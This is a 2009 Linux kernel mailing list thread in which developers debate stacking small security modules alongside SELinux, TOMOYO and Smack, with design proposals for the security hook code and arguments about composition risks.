A basic question about the security_* hooks

A basic question about the security_* hooks

[Michael Stone]

Dear kernel folks,

There are a variety of places where I'd like to be able to get the kernel to
return EPERM more often [1]. Many of these places already have security hooks.

Unfortunately, I don't feel that I can make effective use of these hooks
because they seem to be "occupied" by the large mandatory access control
frameworks.

I'm hoping that you can tell me why this state of affairs persists.

More specifically, now that LSMs are statically linked, why is it good for the
security hooks to call into a single monolithic "security_ops" struct instead
of cheaper and simpler alternatives?

In particular, what would be worse about a kernel in which each security hook
contained nothing but conditionally-compiled function calls to the appropriate
"real" implementation functions with early-exit jumps on non-zero return codes?

Thanks,

Michael

[1]: Two examples include my recent network-privileges patches and Eric
Biederman's suggestions on how to make unprivileged unshare(CLONE_NEWNET) safe.
I have little doubt that I'd think of more if I thought that the security hooks
were accessible to me.

Re: A basic question about the security_* hooks

[Casey Schaufler]

Michael Stone wrote:
> Dear kernel folks,
>
> There are a variety of places where I'd like to be able to get the
> kernel to
> return EPERM more often [1]. Many of these places already have
> security hooks.

That should make it easy!

>
> Unfortunately, I don't feel that I can make effective use of these hooks
> because they seem to be "occupied" by the large mandatory access control
> frameworks.

The only reason that your use might not be effective is if
you want to integrate with one or more of those frameworks.
Go ahead and use the LSM for your own nefarious purposes, that
is what it is there for. The whole point of the LSM is that
no two projects could agree on the right approach for moving
security forward. Heavens to Betsy, none of the existing
LSMs have demonstrated themselves as the Way and the Light.

The current set of hooks have grown as needed, primarily driven
by the needs of SELinux, the largest of the Mandatory Access
Control frameworks. Most recently growth has matched the needs
of TOMOYO.

> I'm hoping that you can tell me why this state of affairs persists.

Serious security models, including Type Enforcement, Bell
and LaPadula, Biba, Clark/Willson, Simple Separation, and
Green Light Ice remain the interest of a very small fragment
of the lunatic fringe of computer system deployments. So
long as the mechanism that supports this small but vocal
community is adequate to the task and easy for the rest
of the Linux universe to ignore everyone is more or less
content.

>
> More specifically, now that LSMs are statically linked, why is it good
> for the
> security hooks to call into a single monolithic "security_ops" struct
> instead
> of cheaper and simpler alternatives?

By all means, suggest an implementation ...

>
> In particular, what would be worse about a kernel in which each
> security hook
> contained nothing but conditionally-compiled function calls to the
> appropriate
> "real" implementation functions with early-exit jumps on non-zero
> return codes?

The question is not would it be worse, the question has to be
whether it would be better. In particular, would it be better
for the people who want nothing whatever to do with an LSM,
which remains by far the larger set of people.

>
> Thanks,
>
> Michael
>
> [1]: Two examples include my recent network-privileges patches and Eric
> Biederman's suggestions on how to make unprivileged
> unshare(CLONE_NEWNET) safe.
> I have little doubt that I'd think of more if I thought that the
> security hooks
> were accessible to me.

You're arguing for stacking a set of small security modules. This
is a direction that has gotten slammed pretty hard in the past but
that crops up every time someone like you comes along with a
module that serves a specific purpose. Mostly the objections have
come from people who will tell you that something else already
does what you're trying to do, and that all you have to do is take
on the entirety of their monolithic approach and you'll be happy.

I'm behind you 100%. Use the LSM. Your module is exactly why we have
the blessed thing. Once we get a collection of otherwise unrelated
LSMs the need for a stacker will be sufficiently evident that we'll
be able to get one done properly.


And just in case it matters, I understand that this is an unpopular
position. I am an advocate of progress, not necessarily my own
peculiar notions of computer security. I believe that we should keep
trying new things for the simple reason that in the twenty plus
years that I've been working on the problem no one has demonstrated
a solution that addresses more than a fraction of the whole. Lots of
great ideas have gotten discarded because they didn't fit into an
MLS system, SELinux, the Linux file system semantics, or the teeny
tiny little minds that control the IETF.

Re: A basic question about the security_* hooks

[Evgeniy Polyakov]

On Wed, Dec 23, 2009 at 09:29:02PM -0500, Michael Stone (michael@laptop.org) wrote:
> There are a variety of places where I'd like to be able to get the kernel to
> return EPERM more often [1]. Many of these places already have security 
> hooks.
> 
> Unfortunately, I don't feel that I can make effective use of these hooks
> because they seem to be "occupied" by the large mandatory access control
> frameworks.

I believe you should convice selinux and friends to add support for your
extension, otherwise no distribution will be able to turn it on, since
no two security frameworks can be registered simultaneously.

-- 
	Evgeniy Polyakov

Re: A basic question about the security_* hooks

[Eric W. Biederman]

Casey Schaufler <casey@schaufler-ca.com> writes:

> I'm behind you 100%. Use the LSM. Your module is exactly why we have
> the blessed thing. Once we get a collection of otherwise unrelated
> LSMs the need for a stacker will be sufficiently evident that we'll
> be able to get one done properly.

My immediate impression is that the big limitation today is the
sharing of the void * security data members of strucutres.

Otherwise multiple security modules could be as simple as.
list_for_each(mod)
        if (mod->op(...) != 0)
		return -EPERM.

It isn't hard to multiplex a single data field into several with a
nice little abstraction.

With my maintainer of a general purpose kernel hat on I would love to
be able to build in all of the security modules and select at boot
time which ones were enabled.

Eric

Re: A basic question about the security_* hooks

[Samir Bellabes]

Evgeniy Polyakov <zbr@ioremap.net> writes:

> I believe you should convice selinux and friends to add support for your
> extension, otherwise no distribution will be able to turn it on, since
> no two security frameworks can be registered simultaneously.

I agree, as a LSM module, this purpose is a no sense, because it will
avoid using another security module.
On the other hand, adding this capacity directly to the syscalls seems
to be a little bit ugly (it reminds me security post_accept hook
strategy of returning or not a value). 

But the way to go is to add this directly to existing security models,
if it make sens for them.

sam

Re: A basic question about the security_* hooks

[Tetsuo Handa]

Eric W. Biederman wrote:
> My immediate impression is that the big limitation today is the
> sharing of the void * security data members of strucutres.

I think the time to change "void * security" is approaching.

What about allocating dedicated "void *" for each in-tree security modules and
let proposed security modules use "void * security" so that proposed security
modules can be evaluated without allocating dedicated "void *", something like

  struct foo {
      ...
  #ifdef CONFIG_SECURITY_SELINUX
    	void *selinux;
  #endif
  #ifdef CONFIG_SECURITY_SMACK
  	void *smack;
  #endif
  #ifdef CONFIG_SECURITY_PROPOSED
  	void *security
  #endif
  }
  
  struct bar {
      ...
  #ifdef CONFIG_SECURITY_SELINUX
  	void *selinux;
  #endif
  #ifdef CONFIG_SECURITY_PROPOSED
  	void *security
  #endif
  }

?

Regarding TOMOYO, "void * security" automatically added to many structure is
nothing but waste of memory because TOMOYO don't need "void * security" except
"struct task_struct".

Re: A basic question about the security_* hooks

[Serge E. Hallyn]

Quoting Eric W. Biederman (ebiederm@xmission.com):
> Casey Schaufler <casey@schaufler-ca.com> writes:
> 
> > I'm behind you 100%. Use the LSM. Your module is exactly why we have
> > the blessed thing. Once we get a collection of otherwise unrelated
> > LSMs the need for a stacker will be sufficiently evident that we'll
> > be able to get one done properly.
> 
> My immediate impression is that the big limitation today is the
> sharing of the void * security data members of strucutres.
> 
> Otherwise multiple security modules could be as simple as.
> list_for_each(mod)
>         if (mod->op(...) != 0)
> 		return -EPERM.
> 
> It isn't hard to multiplex a single data field into several with a
> nice little abstraction.
> 
> With my maintainer of a general purpose kernel hat on I would love to
> be able to build in all of the security modules and select at boot
> time which ones were enabled.

You're supposed to be able to do that now - use the "security=smack"
or whatever boot option (see security/security.c:choose_lsm() ).

-serge

Re: A basic question about the security_* hooks

[Serge E. Hallyn]

Quoting Michael Stone (michael@laptop.org):
> Dear kernel folks,
> 
> There are a variety of places where I'd like to be able to get the kernel to
> return EPERM more often [1]. Many of these places already have security hooks.
> 
> Unfortunately, I don't feel that I can make effective use of these hooks
> because they seem to be "occupied" by the large mandatory access control
> frameworks.
> 
> I'm hoping that you can tell me why this state of affairs persists.
> 
> More specifically, now that LSMs are statically linked, why is it good for the
> security hooks to call into a single monolithic "security_ops" struct instead
> of cheaper and simpler alternatives?
> 
> In particular, what would be worse about a kernel in which each security hook
> contained nothing but conditionally-compiled function calls to the appropriate
> "real" implementation functions with early-exit jumps on non-zero return codes?

The problem is that composing any two security policies can quickly have
subtle, unforeseen, but dangerous effects.  That's why so far we have
stuck with the status quo where only one LSM is 'active', but that LSM
can manually call hooks from other LSMs.

So with your module, I'd recommend following the route of the capabilities
LSM.  You can provide an optional stand-alone LSM which only hooks your
functions.  Then smack, for instance, can call the functions in your LSM
from within its own hooks, or it can simply explicitly assign its hooks to
your functions in smack_ops.  Selinux can do the same thing, although I
suspect they would more likely implement their own functions for your newly
hooked sites.

A distro can then compile a kernel with all LSMs compiled in, and switch
behavior by using "security=selinux" vs. "security=prctl_network_lsm"

-serge

Re: A basic question about the security_* hooks

[Michael Stone]

Serge Hallyn writes:
> Michael Stone writes:
>> In particular, what would be worse about a kernel in which each security hook
>> contained nothing but conditionally-compiled function calls to the appropriate
>> "real" implementation functions with early-exit jumps on non-zero return codes?
>
> The problem is that composing any two security policies can quickly have
> subtle, unforeseen, but dangerous effects. 

First, thanks very much for your helpful explanations and pragmatic advice.

Second, two thoughts and a question:

   1. I think you're probably correct when we're discussing security policies
      chosen uniformly at random from the space of all possible such policies.
      However, I believe that the cost-benefit ratio favors composition quite
      strongly when we're discussing real security policies which where designed
      with composition in mind, as is the case with my work.

   2. The problem you cite is an inherent property of software assurance which
      is indepedent of software assurance of information-security-specific
      properties. Thus, while you are correct that composition sometimes makes
      it harder to assure a system due to the increased number of "moving
      parts" that have to fit together perfectly, it also frequently makes the
      assurance problem more tractable by reducing the cost to assure the
      individual pieces which are being composed.

   3. Have you any specific examples of problems that have been clearly averted
      by the current arrangement?

> So with your module, I'd recommend following the route of the capabilities
> LSM. You can provide an optional stand-alone LSM which only hooks your
> functions. Then smack, for instance, can call the functions in your LSM
> from within its own hooks, or it can simply explicitly assign its hooks to
> your functions in smack_ops.  Selinux can do the same thing, although I
> suspect they would more likely implement their own functions for your newly
> hooked sites.

Doesn't it seem a bit strange to you to be recommending that everyone else
using the five security hooks I want to use modify their code *in detail* to
support my functionality given that my functionality is explicitly intended not
to require any such work on their part?

This seems frankly silly to me, not to mention expensive and error-prone.

Instead, perhaps we'd be better off with something like a declarative
compile-time whitelist or blacklist for compositions?

Regards,

Michael

Re: A basic question about the security_* hooks

[Serge E. Hallyn]

Quoting Michael Stone (michael@laptop.org):
> Serge Hallyn writes:
> >Michael Stone writes:
> >>In particular, what would be worse about a kernel in which each security hook
> >>contained nothing but conditionally-compiled function calls to the appropriate
> >>"real" implementation functions with early-exit jumps on non-zero return codes?
> >
> >The problem is that composing any two security policies can quickly have
> >subtle, unforeseen, but dangerous effects.
> 
> First, thanks very much for your helpful explanations and pragmatic advice.
> 
> Second, two thoughts and a question:
> 
>   1. I think you're probably correct when we're discussing security policies
>      chosen uniformly at random from the space of all possible such policies.
>      However, I believe that the cost-benefit ratio favors composition quite
>      strongly when we're discussing real security policies which where designed
>      with composition in mind, as is the case with my work.
> 
>   2. The problem you cite is an inherent property of software assurance which
>      is indepedent of software assurance of information-security-specific
>      properties. Thus, while you are correct that composition sometimes makes
>      it harder to assure a system due to the increased number of "moving
>      parts" that have to fit together perfectly, it also frequently makes the
>      assurance problem more tractable by reducing the cost to assure the
>      individual pieces which are being composed.
> 
>   3. Have you any specific examples of problems that have been clearly averted
>      by the current arrangement?

If you look back over the archives of when I was pushing the LSM stacker
around 2005, there were several cases where just stacking capability and
selinux were problematic.

http://lkml.indiana.edu/hypermail/linux/kernel/0507.1/0814.html may have
been one instance.  (I don't have local archive before 2006 and don't
really care to search atm)

> >So with your module, I'd recommend following the route of the capabilities
> >LSM. You can provide an optional stand-alone LSM which only hooks your
> >functions. Then smack, for instance, can call the functions in your LSM
> >from within its own hooks, or it can simply explicitly assign its hooks to
> >your functions in smack_ops.  Selinux can do the same thing, although I
> >suspect they would more likely implement their own functions for your newly
> >hooked sites.
> 
> Doesn't it seem a bit strange to you to be recommending that everyone else
> using the five security hooks I want to use modify their code *in detail* to
> support my functionality given that my functionality is explicitly intended not
> to require any such work on their part?

Not at all.  It seems prudent.  And it's really not an intrusive change -
i.e. look at security/selinux/hooks.c:selinux_ptrace_access_check() calling
cap_ptrace_access_check().

> This seems frankly silly to me, not to mention expensive and error-prone.
> 
> Instead, perhaps we'd be better off with something like a declarative
> compile-time whitelist or blacklist for compositions?

Well, taking a step back - what exactly is the motivation for making this
an LSM?  Is it just to re-use the callsites?  Or to provide a way to turn
off the functionality?  I ask bc the API is in the prctl code, so the LSM
is conceptually always there, which is different from other LSMs.

So if you (or your audience) really want this to be an LSM, then you should
probably put your prctl code in a security_task_prctl() hook.  Otherwise,
perhaps we should just explicitly call your hooks in wrappers - or whatever was
finally decided should be done with the security/integrity/ima hooks.

-serge

Re: A basic question about the security_* hooks

[Michael Stone]

> Well, taking a step back - what exactly is the motivation for making this
> an LSM? Is it just to re-use the callsites?

Yes. Alan Cox, referencing earlier versions of my patches, wrote:

   "This is a security model, it belongs as a security model using LSM."

> I ask bc the API is in the prctl code, so the LSM
> is conceptually always there, which is different from other LSMs.

The goal is to provide a stupidly simple unprivileged per-process network
isolation primitive which is broadly available "without jumping through hoops".

(See http://cr.yp.to/unix/disablenetwork.html for a nice writeup.) 

I need a primitive like this to further my work on the OLPC Bitfrost security
architecture and to further my more general work on advancing the state of
sandboxing technology. (See sandboxing.org.)

I'm willing to entertain pretty much any implementation or interface request
which meets that goal and which implements the desired semantics.

>>>> In particular, what would be worse about a kernel in which each security
>>>> hook contained nothing but conditionally-compiled function calls to the
>>>> appropriate "real" implementation functions with early-exit jumps on
>>>> non-zero return codes?
>>>
>>> The problem is that composing any two security policies can quickly have
>>> subtle, unforeseen, but dangerous effects.
>> 
>> Have you any specific examples of problems that have been clearly averted
>> by the current arrangement?
>
> If you look back over the archives of when I was pushing the LSM stacker
> around 2005, there were several cases where just stacking capability and
> selinux were problematic.

Thank you for the pointers to your earlier work and for the work itself. We
probably wouldn't be having this conversation if your work had been merged.
Unfortunately, that happy event did not come to pass.

Thus, returning to today: the most serious objection that I've heard so far
about LSM stacking is that making it too "automatic" is likely to result in
preventable security faults.

For this argument to be valid, there *must* also be a second clause which
states that the cost of the unknown security faults prevented by making
stacking hard exceeds the cost of the known security faults which would be
prevented by the additional security primitives that stacking, in any usable
form, would permit. Otherwise, the sustaining the objection leads to a worse
outcome. 

Now, given this argument, what do you actually think about systems that, like
your work, enable stacking but which do so "less automatically", e.g. by
hand-writing the implementations of the security_*() hooks like so:

   int security_socket_create(int family, int type, int protocol, int kern) 
   {
           int ret = 0;

   #ifdef CONFIG_SECURITY_SELINUX
           ret = selinux_security_socket_create(family, type, protocol, kern);
           if(ret)
                   goto out;
   #endif

   #ifdef CONFIG_SECURITY_TOMOYO
           ret = tomoyo_security_socket_create(family, type, protocol, kern);
           if(ret)
                   goto out;
   #endif

   #ifdef CONFIG_SECURITY_SMACK
           ret = smack_security_socket_create(family, type, protocol, kern);
           if(ret)
                   goto out;
   #endif

   #ifdef CONFIG_SECURITY_PRCTL_NETWORK
           ret = prctl_network_socket_create(family, type, protocol, kern);
           if(ret)
                   goto out;
   #endif

   out:
           return ret;
   }

This way, the behavior of the system is as predictable as possible, we can
statically check for known unsafe configurations, manual tweaking of the order
in which functionality is composed is possible, and security is fully
"pay-as-you-go".

Where is the flaw in this approach?

Regards,

Michael

P.S. - I think I will write up some new patches for prctl_network based on this
idea so that we can see what they look like.

Re: A basic question about the security_* hooks

[Mimi Zohar]

On Thu, 2009-12-24 at 23:50 -0600, Serge E. Hallyn wrote:

<snip>

> Well, taking a step back - what exactly is the motivation for making this
> an LSM?  Is it just to re-use the callsites?  Or to provide a way to turn
> off the functionality?  I ask bc the API is in the prctl code, so the LSM
> is conceptually always there, which is different from other LSMs.
> 
> So if you (or your audience) really want this to be an LSM, then you should
> probably put your prctl code in a security_task_prctl() hook.  Otherwise,
> perhaps we should just explicitly call your hooks in wrappers - or whatever was
> finally decided should be done with the security/integrity/ima hooks.
> 
> -serge

Any place that a security hook and the IMA call co-existed, the IMA call
was moved to the security_ hook (security/security.c).

Mimi

Re: A basic question about the security_* hooks

[Serge E. Hallyn]

Quoting Michael Stone (michael@laptop.org):
> Now, given this argument, what do you actually think about systems that, like
> your work, enable stacking but which do so "less automatically", e.g. by
> hand-writing the implementations of the security_*() hooks like so:
>
>   int security_socket_create(int family, int type, int protocol, int 
> kern)   {
>           int ret = 0;
>
>   #ifdef CONFIG_SECURITY_SELINUX
>           ret = selinux_security_socket_create(family, type, protocol, kern);
>           if(ret)
>                   goto out;
>   #endif
>
>   #ifdef CONFIG_SECURITY_TOMOYO
>           ret = tomoyo_security_socket_create(family, type, protocol, kern);
>           if(ret)
>                   goto out;
>   #endif
>
>   #ifdef CONFIG_SECURITY_SMACK
>           ret = smack_security_socket_create(family, type, protocol, kern);
>           if(ret)
>                   goto out;
>   #endif
>
>   #ifdef CONFIG_SECURITY_PRCTL_NETWORK
>           ret = prctl_network_socket_create(family, type, protocol, kern);
>           if(ret)
>                   goto out;
>   #endif
>
>   out:
>           return ret;
>   }
>
> This way, the behavior of the system is as predictable as possible, we can
> statically check for known unsafe configurations, manual tweaking of the order
> in which functionality is composed is possible, and security is fully
> "pay-as-you-go".
>
> Where is the flaw in this approach?

Well, according to Mimi's email this is essentially what was
decided upon for IMA.  So I think workable guidelines would
be that anything which can't possibly be expected to interfere
with other LSMs can be added like that.  

More generally, the flaw in the approach is that the hooks for
several permutations of LSMs might interfere with each other.
So for instance the cap_inode_setxattr() hook should always
be called if selinux is not enabled, but should not be called
for security.selinux namespace xattrs if selinux is enabled.
Rather than try to capture all the permutations in one
security_socket_create() hook, we would want to just arrange
some stacking orders, and have the 'parent' hooks call the
'child' hooks.  That is precisely what I was suggesting in my
previous posts.

Oh, you'll also want to take into consideration whether
the LSM is actively loaded, since I can compile a kernel
with smack, SELinux, TOMOYO, and your system, but only
load smack.  So just #ifdef isn't enough.  Just a note.

Anyway, your LSM may be specific enough to qualify for the
IMA treatment (like you suggest).  So no harm in trying :)
But I wouldn't try to overly generalize the stacking, as I'd
fear it risks becoming a drag on the acceptence of the rest of
your patch.

-serge

Re: A basic question about the security_* hooks

[Tetsuo Handa]

Serge E. Hallyn wrote:
> Well, according to Mimi's email this is essentially what was
> decided upon for IMA.  So I think workable guidelines would
> be that anything which can't possibly be expected to interfere
> with other LSMs can be added like that.
>
> More generally, the flaw in the approach is that the hooks for
> several permutations of LSMs might interfere with each other.
> So for instance the cap_inode_setxattr() hook should always
> be called if selinux is not enabled, but should not be called
> for security.selinux namespace xattrs if selinux is enabled.

May I do opportunistic question regarding TOMOYO?

I'm distributing SELinux+TOMOYO kernels (since Fedora Core 3) and
AppArmor+TOMOYO kernels (since openSuSE 10.1), but I didn't encounter problems.
TOMOYO can use similar approach which disablenetwork uses (i.e. adding
dedicated variable to task_struct and not using "void *security" and not using
LSM hooks for allocating/freeing "void *security" and not using xattr of
filesystems).

@@ -1557,6 +1559,10 @@ struct task_struct {
 		unsigned long memsw_bytes; /* uncharged mem+swap usage */
 	} memcg_batch;
 #endif
+#ifdef CONFIG_CCSECURITY
+	struct ccs_domain_info *ccs_domain_info;
+	u32 ccs_flags;
+#endif
 };

I believe TOMOYO can safely coexist with other security modules.
Why TOMOYO must not be used with SELinux or Smack or AppArmor?
What interference are you worrying when enabling TOMOYO with SELinux or Smack
or AppArmor?

Regards.

Re: A basic question about the security_* hooks

[Valdis.Kletnieks]

[-- Attachment #1: Type: text/plain, Size: 3920 bytes --]

On Sun, 27 Dec 2009 13:02:54 +0900, Tetsuo Handa said:
> I believe TOMOYO can safely coexist with other security modules.
> Why TOMOYO must not be used with SELinux or Smack or AppArmor?
> What interference are you worrying when enabling TOMOYO with SELinux or Smack
> or AppArmor?

(It's 5AM and I just got woken up by a thundering herd of cats and can't
get back to sleep, but there's no caffeine to be found.. Yee hah)

Sure, it's *possible* to create a system where you've loaded 2 security systems
and have it work.  But the general consensus is that if you're running one
system and want to run a second, it's easier to ask yourself *why* you want to
run the second, and see if there's some way to get the added functionality
supported in the first system. Presumably your reason is of the form "I'm
running XYZ, but it doesn't stop attack ABC like ZQW does".  Usually, the right
answer is to fix XYZ, not try to load ZQW on top of it.  But if you insist.. ;)

The basic problem is that large complete MAC systems like TOMOYO, SELinux,
Smack, or AppArmor are complicated.  In addition, they are unable to look at
each other's policies to detect potential conflicts. As a result, although
it's probably *possible* to create a system that loads both a TOMOYO and
an SELinux policy, it's hazardous:

First, it's possible to totally screw up your box - consider 2 defective
policies where each prevents a reload of the other's policy.  Now note that it
doesn't even need to be the *policy* - if the Tomoyo policy files get
mislabeled with the wrong SELinux context, then an SELinux component will
probably prevent access to the policy and thus prevent the load.  Your system
is now *at best* running SELinux-only (and now vulnerable to to any attacks you
were depending on Tomoyo to stop). At worst, the wrecked Tomoyo policy will
mean that Tomoyo will then reject the SELinux 'restorecon' command to correct
the labels, leaving you in a situation where you can't recover your box.

Second, it's unclear what a combo of two different MAC systems would *mean*,
and whether it creates corner cases that can be exploited - the "two systems
block each other's reloads" mentioned above is but one example. If a system that
depends on inode labeling is active at the same time as a path-based system,
what happens if you manage to do an 'mv' command that changes the security
context in the path-based system while leaving the inode label the same, or
relabel an inode without rename it to match? The file has just experienced
a security transition for one system, but not the other. Are there any
files and transitions where the mismatch matters?

If the two systems load policies with the same semantics, why are you
bothering?  And if they load different semantics, can the difference be
leveraged by an attacker?

In addition, we've already actually seen composition bugs before - when a
program expecting standard Linux DAC failed when it hit the composition of DAC
plus capabilities. It's helpful to go re-read the story of the Sendmail
capabilities bug, where the Sendmail code wasn't capability-aware, and thus
didn't forsee any way that doing a setuid()/setgid() while running as root
could possibly fail. When it *did* fail, Sendmail thought it was running as a
mortal, but actually still had all privs. Hilarity ensues.

The problem is that for you to *really* be able to safely compose (for instance)
Tomoyo and SELinux, you need to go through *every* Tomoyo-aware program and
verify "this will Do The Right Thing even if an SELinux policy unexpectedly
fails us here" at every point - and then repeat for every SELinux-aware
program regarding a Tomoyo-induced rejection.

And then you get to repeat the process for each Tomoyo and SELinux *policy*
you want to use...

Like I said - it's usually more sane to go back and re-evaluate *why*, and
see if you can fix one system or the other to address your needs.




[-- Attachment #2: Type: application/pgp-signature, Size: 227 bytes --]

Re: A basic question about the security_* hooks

[Serge E. Hallyn]

Quoting Valdis.Kletnieks@vt.edu (Valdis.Kletnieks@vt.edu):
> On Sun, 27 Dec 2009 13:02:54 +0900, Tetsuo Handa said:
> > I believe TOMOYO can safely coexist with other security modules.
> > Why TOMOYO must not be used with SELinux or Smack or AppArmor?
> > What interference are you worrying when enabling TOMOYO with SELinux or Smack
> > or AppArmor?

...

> First, it's possible to totally screw up your box - consider 2 defective
> policies where each prevents a reload of the other's policy.  Now note that it
> doesn't even need to be the *policy* - if the Tomoyo policy files get
> mislabeled with the wrong SELinux context, then an SELinux component will
> probably prevent access to the policy and thus prevent the load.  Your system
> is now *at best* running SELinux-only (and now vulnerable to to any attacks you
> were depending on Tomoyo to stop). At worst, the wrecked Tomoyo policy will
> mean that Tomoyo will then reject the SELinux 'restorecon' command to correct
> the labels, leaving you in a situation where you can't recover your box.
> 
> Second, it's unclear what a combo of two different MAC systems would *mean*,
> and whether it creates corner cases that can be exploited - the "two systems
> block each other's reloads" mentioned above is but one example. If a system that
> depends on inode labeling is active at the same time as a path-based system,
> what happens if you manage to do an 'mv' command that changes the security
> context in the path-based system while leaving the inode label the same, or
> relabel an inode without rename it to match? The file has just experienced
> a security transition for one system, but not the other. Are there any
> files and transitions where the mismatch matters?
> 
> If the two systems load policies with the same semantics, why are you
> bothering?  And if they load different semantics, can the difference be
> leveraged by an attacker?

Agree with everything Valdis said (including after this part, which I cut).

Why do you compose the two?  I assume you went to the trouble because
you have a specific use case, a definite advantage?

-serge

Re: A basic question about the security_* hooks

[David Wagner]

>Sure, it's *possible* to create a system where you've loaded 2 security systems
>and have it work.  But the general consensus is that if you're running one
>system and want to run a second, it's easier to ask yourself *why* you want to
>run the second, and see if there's some way to get the added functionality
>supported in the first system.

Read the thread, where you can find the answer *why*.  The question has
already been answered.  As far as I can tell, the answer is not what you
are presuming.  As far as I can tell, the answer is, the original poster
wants a simple, fairly high-assurance, easy-to-configure way to disable
network access for certain processes, to facilitate privilege-separated
software architectures.  That's a great goal.  It's a goal that is not
easily supported by, say, SELinux.

So now suppose you are starting with a system that's running SELinux,
and you want to add functionality to meet the original poster's goals.
What do you do?  You've basically got two choices: (a) hardcode it in,
ignoring the LSM hooks; or (b) build a little LSM that enforces this
using the LSM hooks.

If you go with approach (a), Alan Cox gives you a hard time and says
"this ought to be done with a LSM".

If you go with approach (b), you're dead in the water: because people
have a kneejerk reaction against ever allowing composition of LSMs,
there's no way to use your own little LSM on your system (without
turning off SELinux or whatever LSM was already installed -- and
this cure is arguably worse than the disease).

It's a catch-22.  What are you supposed to do?  The poster has asked for
your advice about the best way to accomplish his goals, and is open to
any approach that meets these goals.  So far all I have heard is "No".
I think folks could be more constructive.

I think people have committed a logical fallacy here: they've reasoned
that in the general case, composition is hard to reason about, therefore
all composition must be bad.  The "therefore" does not follow.

>The basic problem is that large complete MAC systems like TOMOYO, SELinux,
>Smack, or AppArmor are complicated.  In addition, they are unable to look at
>each other's policies to detect potential conflicts. As a result, although
>it's probably *possible* to create a system that loads both a TOMOYO and
>an SELinux policy, it's hazardous:

But that's irrelevant.  Re-read the thread.  The poster doesn't want
to compose TOMOYO+SELinux.  He wants to compose SELinux+his little LSM.
Or AppArmor+his little LSM.  Or (whatever LSM was already installed)+his
little LSM.  TOMOYO+SELinux is a strawman.

The fact that composing TOMOYO+SELinux is hazardous says little or nothing
about the merits of composing SELinux+his little LSM.  His little LSM
is, well, little, and as a result likely to be noticeably easier to
reason about.  Sure, there may be tricky corner cases.  Sure, there
could be subtle hazards lurking here.  But don't jump immediately to
the worst case when the worst case isn't what's at issue here.

Yes, composition is hard.  Look, software is hard.  We suck it up
and deal with it.  We make the best of it.  We choose architectures
that minimize the likelihood of breakage.  (And in many ways that is
the kind of thing the original poster has done, and is open to doing.)
But we don't give up and say, oh forget about this software stuff,
it's too hard, let's go to the beach instead.

Re: A basic question about the security_* hooks

[Valdis.Kletnieks]

[-- Attachment #1: Type: text/plain, Size: 1295 bytes --]

On Sun, 27 Dec 2009 20:28:23 GMT, David Wagner said:

> Read the thread, where you can find the answer *why*.  The question has
> already been answered.

That was the *original* use case for Michael Stone's module. However, in the
mail that I was specifically replying to:

On Sun, 27 Dec 2009 13:02:54 +0900, Tetsuo Handa said:
> I believe TOMOYO can safely coexist with other security modules.
> Why TOMOYO must not be used with SELinux or Smack or AppArmor?
> What interference are you worrying when enabling TOMOYO with SELinux or Smack
> or AppArmor?

Tetsuo asked specifically about the issues of composing two MAC implementations,
so I answered that issue as opposed to "composing a MAC with a small LSM".

I agree that composing a MAC system plus something small should be easier -
as far back as April 2002 there was discussion of stacking SELinux and the
OWLSM (openwall/grsecurity style patches).  And we've *still* not managed to
get a solution for that issue (though Serge Hallyn did a yeoman job in trying
to get a stacker accepted back in 2004 or so).

I wonder if we need to go look at Serge's patch set again.  It's getting tiring
to revisit the issue every 18 months when somebody wants a small LSM, but can't
do it because large MACs have essentially co-opted the interface.


[-- Attachment #2: Type: application/pgp-signature, Size: 227 bytes --]

Re: A basic question about the security_* hooks

[Tetsuo Handa]

Thank you for your opinion.

Valdis.Kletnieks@vt.edu wrote:
> Usually, the right answer is to fix XYZ, not try to load ZQW on top of it.

Yes, to fix SELinux is the right answer if we can integrate TOMOYO into
SELinux. But SELinux had been advertised as label based access control and had
been rejecting pathname based access control. I doubt SELinux wants to
integrate pathname based access control.

Screwed up due to improper policy configurations / conflicts and unable to
recover cannot be reasons to reject enabling multiple LSM modules.
Such situations do happen even single LSM module.
There are lots of access control mechanisms outside LSM.

Executing SELinux's restorecon can fail due to ENOMEM.
The restorecon may not be executed due to "mount -o noexec".
The restorecon may be replaced by "mount --bind /bin/true /sbin/restorecon".
The restorecon may not work as expected due to improper LD_PRELOAD environment.
Changing xattr of an inode may fail due to EIO.

Note that SELinux or TOMOYO is not the only factor that makes operations fail.
For SELinux, TOMOYO is one of factors that make operations for SELinux fail.
For TOMOYO, SELinux is one of factors that make operations for TOMOYO fail.
SELinux and TOMOYO have to prepare for bad consequence when failures like
ENOMEM, EIO, EACCES, EPERM occurred outside SELinux or TOMOYO.

People enable SELinux and/or TOMOYO by accepting the risk shown above.
Those who think the benefit of enabling SELinux is larger than the risk of
enabling SELinux enable SELinux. Those who think the risk of enabling SELinux
is larger than the benefit of enabling SELinux don't enable SELinux.
Those who think the benefit of enabling both SELinux and TOMOYO is larger than
the risk of enabling both enable both. Those who think the risk of enabling
both is larger than the benefit of enabling both don't enable both.
It is Linux users who evaluate, not Linux kernel developers. Keeping SELinux
and TOMOYO mutually exclusive deprives Linux users of chances to evaluate, and
prevents Linux kernel developers from coming up with new ideas/implementations.
Why not to give Linux users choice for enabling both?

Serge E. Hallyn wrote:
> Why do you compose the two?  I assume you went to the trouble because
> you have a specific use case, a definite advantage?

SELinux is useful for protecting daemons as ready made policy is distributed,
but console/ssh sessions are not protected (unconfined_t) for most systems.
TOMOYO is useful for restricting console/ssh sessions as administrators can
develop policy by their own.

Both SELinux and TOMOYO have ability to cover all processes (from /sbin/init
till /sbin/poweroff) or targeted processes (e.g. only daemons). But SELinux is
not widely used for protecting all processes. TOMOYO can provide some
protection for processes which SELinux doesn't protect.

Also, people know we sometimes need to restrict string parameters for avoiding
unwanted consequence. TOMOYO can pay attention to string parameters whereas
SELinux can't.

Regards.

Re: A basic question about the security_* hooks

[Valdis.Kletnieks]

[-- Attachment #1: Type: text/plain, Size: 878 bytes --]

On Mon, 28 Dec 2009 20:51:49 +0900, Tetsuo Handa said:

> Yes, to fix SELinux is the right answer if we can integrate TOMOYO into
> SELinux. But SELinux had been advertised as label based access control and had
> been rejecting pathname based access control. I doubt SELinux wants to
> integrate pathname based access control.

No, that's missing the point.  Let's say you have an SELinux system, and
you want to use TOMOYO on top of it (or the other way around, it works either
way).  Now hopefully, you're not doing it just to prove it can be done, you're
doing it because you have a specific issue or threat model that TOMOYO can
address that SELinux can't - for instance "A program can do FOO, BAR, and
then BAZ, and SELinux is unable to stop that but TOMOYO can".

So the question becomes "*why* can't SELinux stop FOO, BAR, BAZ, and can it
be fixed to be able to do so?"


[-- Attachment #2: Type: application/pgp-signature, Size: 227 bytes --]

